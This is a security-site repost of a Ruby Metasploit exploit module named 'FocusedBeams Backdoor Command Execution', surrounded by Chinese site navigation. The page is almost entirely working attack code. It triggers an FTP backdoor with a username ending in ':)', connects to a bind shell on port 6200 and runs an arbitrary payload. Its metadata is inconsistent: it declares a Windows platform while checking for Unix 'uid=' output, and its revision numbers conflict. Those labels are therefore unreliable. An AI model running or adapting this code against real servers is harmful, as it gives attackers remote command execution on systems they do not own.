首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FocusedBeams Backdoor Command Execution
来源:http://www.metasploit.com 作者:Angel 发布时间:2011-09-28  
##
# $Id: Focused_Beams.rb 13099 2011-07-05 05:20:47Z hdm $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::Tcp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'FocusedBeams Backdoor Command Execution',
            'Description'    => %q{
                    This module exploits a malicious backdoor in FocusedBeams
            },
            'Author'         => [ 'Angel Injection' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 16979 
, 'References' => [ [ 'URL', 'http://1337day.com/exploits/16978' ], ], 'Privileged' => true, 'Platform' => [ 'win' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 3000, 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Targets' => [ [ 'Automatic', { } ], ], 'DisclosureDate' => 'Sep 27 2011', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(21) ], self.class) end def exploit nsock = self.connect(false, {'RPORT' => 21}) rescue nil if nsock print_status("The port used by the backdoor bind listener is already open") handle_backdoor(nsock) return end # Connect to the FTP service port first connect banner = sock.get_once(-1, 30).to_s print_status("Banner: #{banner.strip}") sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n") resp = sock.get_once(-1, 30).to_s print_status("USER: #{resp.strip}") if resp =~ /^530 / print_error("This server is configured for anonymous only and the backdoor code cannot be reached") disconnect return end if resp !~ /^331 / print_error("This server did not respond as expected: #{resp.strip}") disconnect return end sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n") # Do not bother reading the response from password, just try the backdoor nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_good("Backdoor service has been spawned, handling...") handle_backdoor(nsock) return end disconnect end def handle_backdoor(s) s.put("id\n") r = s.get_once(-1, 5).to_s if r !~ /uid=/ print_error("The service on port 21 does not appear to be a shell") disconnect(s) return end print_good("UID: #{r.strip}") s.put("nohup " + payload.encoded + " >/dev/null 2>&1") handler(s) end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Advanced MP3 WMA Recorder(.mp3
·Cliprex Lite Player(.ASF) Loca
·Metasploit 3.7.x Remote Denial
·SafeKeyNet FTP Server Remote B
·GTA SA-MP server.cfg Local Buf
·Mac OS X < 10.6.7 Kernel Panic
·Muse Music All-In-One 1.5.0.00
·Norman Security Suite 8 (npros
·GMER 1.0.15.15641 MFT Overwrit
·ScriptFTP 3.3 Remote Buffer Ov
·Tuber Player (.XM) Local Buffe
·eSignal / eSignal Pro 10.6.242
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved